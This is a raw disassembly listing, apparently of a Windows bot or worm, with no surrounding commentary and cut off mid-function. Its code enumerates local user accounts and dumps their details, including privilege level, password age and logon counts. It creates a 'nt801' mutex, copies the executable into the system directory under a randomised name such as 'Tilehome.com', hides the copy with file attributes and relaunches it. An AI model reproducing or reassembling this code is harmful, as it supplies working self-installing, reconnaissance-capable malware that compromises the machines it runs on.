		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_40BAEE
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_40BA8C
		dec	eax
		jz	short loc_40BA81
		dec	eax
		jnz	short loc_40BAA7
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_40BB90
		add	esp, 14h
		jmp	short loc_40BAA3
; ---------------------------------------------------------------------------


loc_40BA81:				; CODE XREF: sub_40BA4A+1Dj
		push	ebx
		push	edi
		call	sub_40BB6F
		pop	ecx
		pop	ecx
		jmp	short loc_40BAA3
; ---------------------------------------------------------------------------


loc_40BA8C:				; CODE XREF: sub_40BA4A+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_40BAA0
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_40BB15
		add	esp, 0Ch
		jmp	short loc_40BAA3
; ---------------------------------------------------------------------------


loc_40BAA0:				; CODE XREF: sub_40BA4A+45j
		push	57h
		pop	eax


loc_40BAA3:				; CODE XREF: sub_40BA4A+35j
					; sub_40BA4A+40j ...
		cmp	eax, edi
		jnz	short loc_40BAC7


loc_40BAA7:				; CODE XREF: sub_40BA4A+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4512A4
		push	off_4294F4[eax*4]
		push	offset unk_429D40
		push	esi
		call	sub_413812
		add	esp, 10h
		jmp	short loc_40BB0E
; ---------------------------------------------------------------------------


loc_40BAC7:				; CODE XREF: sub_40BA4A+5Bj
		push	eax
		call	sub_40C0DE
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4512A4
		push	off_4294F0[eax*4]
		push	offset unk_429D00
		push	esi
		call	sub_413812
		add	esp, 18h
		jmp	short loc_40BB0E
; ---------------------------------------------------------------------------


loc_40BAEE:				; CODE XREF: sub_40BA4A+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4512A4
		lea	eax, [eax+eax*2]
		push	off_4294F0[eax*4]
		push	offset unk_429CC8
		push	esi
		call	sub_413812
		add	esp, 0Ch


loc_40BB0E:				; CODE XREF: sub_40BA4A+7Bj
					; sub_40BA4A+A2j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40BA4A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BB15	proc near		; CODE XREF: sub_40BA4A+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_40B8C5
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_40B8C5
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_40B8C5
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_44CBD0
		pop	edi
		leave
		retn
sub_40BB15	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BB6F	proc near		; CODE XREF: sub_40BA4A+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_40B8C5
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_40B8C5
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_44CBC4
		pop	esi
		retn
sub_40BB6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BB90	proc near		; CODE XREF: sub_40BA4A+2Dp

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_40B8C5
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_40B8C5
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_44CD30
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_40BF1D
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_40BF58
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_104]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_413812
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_104]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40B2B5
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_104]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_413812
		push	1
		lea	eax, [ebp+var_104]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40B2B5
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_104]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_413812
		push	1
		lea	eax, [ebp+var_104]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40B2B5
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_104]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_413812
		push	1
		lea	eax, [ebp+var_104]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40B2B5
		mov	eax, [ebp+var_4]
		add	esp, 40h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_40BCA9
		dec	eax
		jz	short loc_40BCA2
		dec	eax
		jz	short loc_40BC9B
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_40BCAE
; ---------------------------------------------------------------------------


loc_40BC9B:				; CODE XREF: sub_40BB90+102j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_40BCAE
; ---------------------------------------------------------------------------


loc_40BCA2:				; CODE XREF: sub_40BB90+FFj
		mov	eax, offset aUser_0 ; "User"
		jmp	short loc_40BCAE
; ---------------------------------------------------------------------------


loc_40BCA9:				; CODE XREF: sub_40BB90+FCj
		mov	eax, offset aGuest ; "Guest"


loc_40BCAE:				; CODE XREF: sub_40BB90+109j
					; sub_40BB90+110j ...
		push	eax
		lea	eax, [ebp+var_104]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_413812
		push	1
		lea	eax, [ebp+var_104]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40B2B5
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_104]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_413812
		push	1
		lea	eax, [ebp+var_104]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40B2B5
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_104]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_413812
		push	1
		lea	eax, [ebp+var_104]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40B2B5
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_104]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_413812
		push	1
		lea	eax, [ebp+var_104]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40B2B5
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_104]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_413812
		push	1
		lea	eax, [ebp+var_104]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40B2B5
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_104]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_413812
		push	1
		lea	eax, [ebp+var_104]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40B2B5
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_104]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_413812
		push	1
		lea	eax, [ebp+var_104]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40B2B5
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_104]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_413812
		push	1
		lea	eax, [ebp+var_104]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40B2B5
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_104]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_413812
		push	1
		lea	eax, [ebp+var_104]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40B2B5
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_104]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_413812
		push	1
		lea	eax, [ebp+var_104]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40B2B5
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_104]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_413812
		push	1
		lea	eax, [ebp+var_104]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40B2B5
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_104]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_413812
		push	1
		lea	eax, [ebp+var_104]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40B2B5
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_104]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_413812
		push	1
		lea	eax, [ebp+var_104]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40B2B5
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_104]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_413812
		push	1
		lea	eax, [ebp+var_104]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40B2B5
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_104]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_413812
		push	1
		lea	eax, [ebp+var_104]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40B2B5
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_40BF49
; ---------------------------------------------------------------------------


loc_40BF1D:				; CODE XREF: sub_40BB90+35j
		push	eax
		lea	eax, [ebp+var_104]
		push	offset unk_429D70
		push	eax
		call	sub_413812
		push	0
		lea	eax, [ebp+var_104]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40B2B5
		add	esp, 20h


loc_40BF49:				; CODE XREF: sub_40BB90+38Bj
		cmp	[ebp+var_4], 0
		jz	short loc_40BF58
		push	[ebp+var_4]
		call	dword_44CD68


loc_40BF58:				; CODE XREF: sub_40BB90+40j
					; sub_40BB90+3BDj
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_40BB90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BF5E	proc near		; CODE XREF: sub_40CC09+1E0Ap

var_118		= byte ptr -118h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 118h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_40B8C5
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 18h


loc_40BF9D:				; CODE XREF: sub_40BF5E+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_44CC50
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_40BFFE
		cmp	eax, 0EAh
		jz	short loc_40BFFE
		push	eax
		push	eax
		call	sub_40C0DE
		pop	ecx
		push	eax
		lea	eax, [ebp+var_118]
		push	offset unk_429F84
		push	eax
		call	sub_413812
		push	esi
		lea	eax, [ebp+var_118]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 24h
		jmp	short loc_40C079
; ---------------------------------------------------------------------------


loc_40BFFE:				; CODE XREF: sub_40BF5E+62j
					; sub_40BF5E+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_40C08C
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_40C079


loc_40C010:				; CODE XREF: sub_40BF5E+EDj
		cmp	edi, esi
		jz	short loc_40C04F
		push	dword ptr [edi]
		lea	eax, [ebp+var_118]
		push	offset aS_4	; "  %S"
		push	eax
		call	sub_413812
		push	1
		lea	eax, [ebp+var_118]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_40C010
		jmp	short loc_40C079
; ---------------------------------------------------------------------------


loc_40C04F:				; CODE XREF: sub_40BF5E+B4j
		lea	eax, [ebp+var_118]
		push	offset unk_429F3C
		push	eax
		call	sub_413812
		push	esi
		lea	eax, [ebp+var_118]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 1Ch


loc_40C079:				; CODE XREF: sub_40BF5E+9Ej
					; sub_40BF5E+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_40C08C
		push	edi
		call	dword_44CD68
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_40C08C:				; CODE XREF: sub_40BF5E+A5j
					; sub_40BF5E+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_40BF9D
		cmp	edi, esi
		jz	short loc_40C0A4
		push	edi
		call	dword_44CD68


loc_40C0A4:				; CODE XREF: sub_40BF5E+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_118]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_413812
		push	esi
		lea	eax, [ebp+var_118]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_40BF5E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C0DE	proc near		; CODE XREF: sub_40B734+41p
					; sub_40B929+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_40C190
		jz	loc_40C189
		cmp	eax, 7Bh
		ja	short loc_40C155
		jz	short loc_40C14B
		cmp	eax, 5
		jz	short loc_40C141
		cmp	eax, 8
		jz	short loc_40C137
		cmp	eax, 32h
		jz	short loc_40C12D
		cmp	eax, 35h
		jz	short loc_40C123
		cmp	eax, 57h
		jnz	loc_40C1DF
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_40C200
; ---------------------------------------------------------------------------


loc_40C123:				; CODE XREF: sub_40C0DE+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_40C200
; ---------------------------------------------------------------------------


loc_40C12D:				; CODE XREF: sub_40C0DE+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_40C200
; ---------------------------------------------------------------------------


loc_40C137:				; CODE XREF: sub_40C0DE+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_40C200
; ---------------------------------------------------------------------------


loc_40C141:				; CODE XREF: sub_40C0DE+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_40C200
; ---------------------------------------------------------------------------


loc_40C14B:				; CODE XREF: sub_40C0DE+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_40C200
; ---------------------------------------------------------------------------


loc_40C155:				; CODE XREF: sub_40C0DE+1Aj
		sub	eax, 7Ch
		jz	short loc_40C182
		sub	eax, 7C8h
		jz	short loc_40C17B
		dec	eax
		jz	short loc_40C171
		dec	eax
		jnz	short loc_40C1DF
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_40C200
; ---------------------------------------------------------------------------


loc_40C171:				; CODE XREF: sub_40C0DE+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_40C200
; ---------------------------------------------------------------------------


loc_40C17B:				; CODE XREF: sub_40C0DE+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_40C200
; ---------------------------------------------------------------------------


loc_40C182:				; CODE XREF: sub_40C0DE+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_40C200
; ---------------------------------------------------------------------------


loc_40C189:				; CODE XREF: sub_40C0DE+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_40C200
; ---------------------------------------------------------------------------


loc_40C190:				; CODE XREF: sub_40C0DE+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_40C1C9
		jz	short loc_40C1C2
		sub	eax, 8ADh
		jz	short loc_40C1F4
		dec	eax
		dec	eax
		jz	short loc_40C1BB
		dec	eax
		jz	short loc_40C1B4
		dec	eax
		dec	eax
		jnz	short loc_40C1DF
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_40C200
; ---------------------------------------------------------------------------


loc_40C1B4:				; CODE XREF: sub_40C0DE+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_40C200
; ---------------------------------------------------------------------------


loc_40C1BB:				; CODE XREF: sub_40C0DE+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_40C200
; ---------------------------------------------------------------------------


loc_40C1C2:				; CODE XREF: sub_40C0DE+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_40C200
; ---------------------------------------------------------------------------


loc_40C1C9:				; CODE XREF: sub_40C0DE+B9j
		sub	eax, 8CAh
		jz	short loc_40C1FB
		sub	eax, 17h
		jz	short loc_40C1F4
		sub	eax, 25h
		jz	short loc_40C1ED
		sub	eax, 29h
		jz	short loc_40C1E6


loc_40C1DF:				; CODE XREF: sub_40C0DE+35j
					; sub_40C0DE+87j ...
		push	offset aAnUnknownError ; "An unknown error occurred."
		jmp	short loc_40C200
; ---------------------------------------------------------------------------


loc_40C1E6:				; CODE XREF: sub_40C0DE+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_40C200
; ---------------------------------------------------------------------------


loc_40C1ED:				; CODE XREF: sub_40C0DE+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_40C200
; ---------------------------------------------------------------------------


loc_40C1F4:				; CODE XREF: sub_40C0DE+C2j
					; sub_40C0DE+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_40C200
; ---------------------------------------------------------------------------


loc_40C1FB:				; CODE XREF: sub_40C0DE+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_40C200:				; CODE XREF: sub_40C0DE+40j
					; sub_40C0DE+4Aj ...
		push	offset dword_451148
		call	sub_413812
		pop	ecx
		mov	eax, offset dword_451148
		pop	ecx
		retn
sub_40C0DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C212	proc near		; CODE XREF: sub_40CC09+1E4Fp

var_518		= byte ptr -518h
var_308		= byte ptr -308h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 518h
		push	esi
		push	0FFh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_414A03
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_308]
		push	eax
		mov	[ebp+arg_0], esi
		call	ds:off_41F114
		lea	eax, [ebp+var_308]
		push	esi
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_414A03
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4149E6
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		lea	eax, [ebp+var_518]
		push	0
		push	eax
		push	0
		call	dword_44CCEC
		test	eax, eax
		jnz	short loc_40C2A2
		mov	esi, offset dword_451044
		push	offset unk_42A2DC
		push	esi
		call	sub_413812
		pop	ecx
		pop	ecx
		jmp	short loc_40C2CB
; ---------------------------------------------------------------------------


loc_40C2A2:				; CODE XREF: sub_40C212+7Aj
		lea	ecx, [ebp+var_200]
		push	ecx
		lea	ecx, [ebp+var_518]
		push	ecx
		push	eax
		call	sub_40C0DE
		pop	ecx
		mov	esi, offset dword_451044
		push	eax
		push	offset unk_42A2A0
		push	esi
		call	sub_413812
		add	esp, 14h


loc_40C2CB:				; CODE XREF: sub_40C212+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40C212	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C2D0	proc near		; CODE XREF: .text:00415EDAp

var_99C		= dword	ptr -99Ch
var_98C		= byte ptr -98Ch
var_888		= byte ptr -888h
var_887		= byte ptr -887h
var_6F8		= byte ptr -6F8h
var_5F8		= byte ptr -5F8h
var_4F8		= byte ptr -4F8h
var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_1EC		= byte ptr -1ECh
var_E8		= dword	ptr -0E8h
var_DC		= dword	ptr -0DCh
var_BC		= dword	ptr -0BCh
var_B8		= word ptr -0B8h
var_A4		= byte ptr -0A4h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 98Ch
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp+var_8], ebx
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], offset sub_40ACAF
		push	[ebp+var_C]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		cmp	dword_42A340, ebx
		jz	short loc_40C309
		call	sub_408889


loc_40C309:				; CODE XREF: sub_40C2D0+32j
		mov	esi, ds:dword_41F044
		call	esi	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_741F68, eax
		call	esi	; GetTickCount
		push	eax
		call	sub_413864
		pop	ecx
		call	sub_4073B6
		push	2
		call	dword_44CD84	; SetErrorMode
		push	7530h
		push	offset aNt801	; "nt801"
		push	ebx
		push	ebx
		call	ds:dword_41F12C	; CreateMutexA
		push	eax
		call	ds:dword_41F128	; WaitForSingleObject
		cmp	eax, 102h
		jnz	short loc_40C35D
		push	1
		call	ds:off_41F104


loc_40C35D:				; CODE XREF: sub_40C2D0+83j
		lea	eax, [ebp+var_888]
		push	eax
		push	202h
		call	dword_44CC60	; WSAStartup
		cmp	eax, ebx
		mov	[ebp+var_C], eax
		jnz	loc_40C920
		cmp	[ebp+var_888], 2
		jnz	loc_40C91A
		xor	eax, eax
		mov	al, [ebp+var_887]
		cmp	al, 2
		jnz	loc_40C91A
		mov	esi, 104h
		lea	eax, [ebp+var_3F4]
		push	esi
		push	eax
		call	ds:dword_41F0FC	; GetSystemDirectoryA
		lea	eax, [ebp+var_2F0]
		push	esi
		push	eax
		push	ebx
		call	ds:dword_41F0B0	; GetModuleHandleA
		push	eax
		call	ds:dword_41F060	; GetModuleFileNameA
		lea	eax, [ebp+var_6F8]
		push	eax
		lea	eax, [ebp+var_5F8]
		push	eax
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	ebx
		push	eax
		call	sub_415628
		lea	eax, [ebp+var_6F8]
		push	eax
		lea	eax, [ebp+var_5F8]
		push	eax
		push	offset aSS_0	; "%s%s"
		lea	eax, [ebp+var_4F8]
		push	esi
		push	eax
		call	sub_413D8A
		lea	eax, [ebp+var_3F4]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_413DE0
		add	esp, 30h
		test	eax, eax
		jnz	loc_40C5D2
		cmp	dword_7420D8, ebx
		mov	esi, offset aTilehome_com ; "Tilehome.com"
		jz	short loc_40C458
		push	esi
		xor	edi, edi
		call	sub_413E90
		sub	eax, 4
		pop	ecx
		jz	short loc_40C458


loc_40C435:				; CODE XREF: sub_40C2D0+186j
		call	sub_41386E
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte ptr aTilehome_com[edi], dl	; "Tilehome.com"
		inc	edi
		call	sub_413E90
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_40C435


loc_40C458:				; CODE XREF: sub_40C2D0+155j
					; sub_40C2D0+163j
		lea	eax, [ebp+var_3F4]
		push	esi
		push	eax
		lea	eax, [ebp+var_1EC]
		push	offset aSS_3	; "%s\\%s"
		push	eax
		call	sub_413812
		add	esp, 10h
		lea	eax, [ebp+var_1EC]
		push	eax
		call	ds:dword_41F078	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40C498
		lea	eax, [ebp+var_1EC]
		push	80h
		push	eax
		call	ds:dword_41F0DC	; SetFileAttributesA


loc_40C498:				; CODE XREF: sub_40C2D0+1B4j
		mov	esi, ds:dword_41F124
		lea	eax, [ebp+var_1EC]
		push	ebx
		push	eax
		lea	eax, [ebp+var_2F0]
		xor	edi, edi
		push	eax


loc_40C4AF:				; CODE XREF: sub_40C2D0+216j
		call	esi	; CopyFileA
		test	eax, eax
		jnz	short loc_40C4E8
		call	ds:off_41F06C
		cmp	edi, ebx
		jnz	short loc_40C4E8
		cmp	eax, 20h
		jz	short loc_40C4C9
		cmp	eax, 5
		jnz	short loc_40C4E8


loc_40C4C9:				; CODE XREF: sub_40C2D0+1F2j
		push	1
		pop	edi
		push	3A98h
		call	ds:dword_41F050	; Sleep
		lea	eax, [ebp+var_1EC]
		push	ebx
		push	eax
		lea	eax, [ebp+var_2F0]
		push	eax
		jmp	short loc_40C4AF
; ---------------------------------------------------------------------------


loc_40C4E8:				; CODE XREF: sub_40C2D0+1E3j
					; sub_40C2D0+1EDj ...
		lea	eax, [ebp+var_1EC]
		push	eax
		call	sub_40863B
		pop	ecx
		lea	eax, [ebp+var_1EC]
		push	7
		push	eax
		call	ds:dword_41F0DC	; SetFileAttributesA
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		call	sub_413890
		push	44h
		lea	eax, [ebp+var_E8]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_413890
		add	esp, 18h
		mov	[ebp+var_E8], esi
		mov	[ebp+var_DC], offset byte_438A10
		mov	[ebp+var_B8], bx
		push	1
		pop	esi
		mov	[ebp+var_BC], esi
		call	ds:dword_41F120	; GetCurrentProcessId
		push	eax
		push	esi
		push	100000h
		call	ds:dword_41F11C	; OpenProcess
		lea	ecx, [ebp+var_2F0]
		push	ecx
		push	eax
		lea	eax, [ebp+var_1EC]
		push	eax
		lea	eax, [ebp+var_98C]
		push	offset aSDS	; "%s %d \"%s\""
		push	eax
		call	sub_413812
		add	esp, 14h
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_E8]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp+var_98C]
		push	ebx
		push	eax
		lea	eax, [ebp+var_1EC]
		push	eax
		call	ds:dword_41F0D4	; CreateProcessA
		test	eax, eax
